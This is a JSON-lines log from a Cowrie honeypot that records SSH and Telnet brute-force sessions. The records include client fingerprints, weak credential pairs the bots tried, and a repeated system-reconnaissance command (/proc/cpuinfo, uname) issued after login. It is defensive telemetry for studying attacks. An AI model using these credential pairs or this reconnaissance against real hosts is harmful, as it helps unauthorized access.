"ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:21.104945Z","src_ip":"74.91.200.154","session":"440d0b961ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oratest","password":"oratest","message":"login attempt [oratest/oratest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:22.025530Z","src_ip":"74.91.200.154","session":"440d0b961ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:23.253078Z","src_ip":"74.91.200.154","session":"440d0b961ff0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36652,"dst_ip":"159.203.135.109","dst_port":22,"session":"5549b0916a78","protocol":"ssh","message":"New connection: 159.203.92.129:36652 (159.203.135.109:22) [session: 5549b0916a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.649150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.653582Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.657955Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.671575Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.711444Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.714281Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.717776Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.726652Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:19:49.730942Z","src_ip":"159.203.92.129","session":"5549b0916a78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.226.177.63","src_port":30769,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d69ce65aec4","protocol":"telnet","message":"New connection: 110.226.177.63:30769 (10.17.0.5:23) [session: 4d69ce65aec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:01.049226Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":58732,"dst_ip":"10.17.0.5","dst_port":22,"session":"a092707ad582","protocol":"ssh","message":"New connection: 74.91.224.229:58732 (10.17.0.5:22) [session: a092707ad582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:04.314390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:04.319525Z","src_ip":"74.91.224.229","session":"a092707ad582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:04.561013Z","src_ip":"74.91.224.229","session":"a092707ad582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2","message":"login attempt [ubuntu/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:05.553653Z","src_ip":"74.91.224.229","session":"a092707ad582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:06.799015Z","src_ip":"74.91.224.229","session":"a092707ad582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.492978811264038,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:13.542071Z","src_ip":"110.226.177.63","session":"4d69ce65aec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":58476,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ab2ee2df6c","protocol":"ssh","message":"New connection: 74.91.200.154:58476 (10.17.0.5:22) [session: 06ab2ee2df6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:25.762277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:25.945207Z","src_ip":"74.91.200.154","session":"06ab2ee2df6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:26.172433Z","src_ip":"74.91.200.154","session":"06ab2ee2df6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123456789","message":"login attempt [ubuntu/admin123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:27.051048Z","src_ip":"74.91.200.154","session":"06ab2ee2df6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:28.291267Z","src_ip":"74.91.200.154","session":"06ab2ee2df6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39136,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e173a714ac1","protocol":"ssh","message":"New connection: 159.203.92.129:39136 (159.203.135.109:22) [session: 5e173a714ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:33.927256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:33.942258Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:33.967179Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@1234","message":"login attempt [admin/admin@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.067271Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.134641Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.138701Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.143267Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.166899Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:34.172812Z","src_ip":"159.203.92.129","session":"5e173a714ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":32842,"dst_ip":"10.17.0.5","dst_port":22,"session":"f23c9e619641","protocol":"ssh","message":"New connection: 74.91.224.229:32842 (10.17.0.5:22) [session: f23c9e619641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:59.954066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:20:59.958626Z","src_ip":"74.91.224.229","session":"f23c9e619641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:00.197422Z","src_ip":"74.91.224.229","session":"f23c9e619641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2022","message":"login attempt [root/admin@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:01.187472Z","src_ip":"74.91.224.229","session":"f23c9e619641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:02.430046Z","src_ip":"74.91.224.229","session":"f23c9e619641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53158,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14e9da38e52","protocol":"ssh","message":"New connection: 159.203.92.129:53158 (159.203.135.109:22) [session: b14e9da38e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.558465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.563866Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.573942Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@12345","message":"login attempt [admin/admin@12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.590304Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.638991Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.643212Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:16.647696Z","src_ip":"159.203.92.129","session":"b14e9da38e52","protocol":"ssh"}
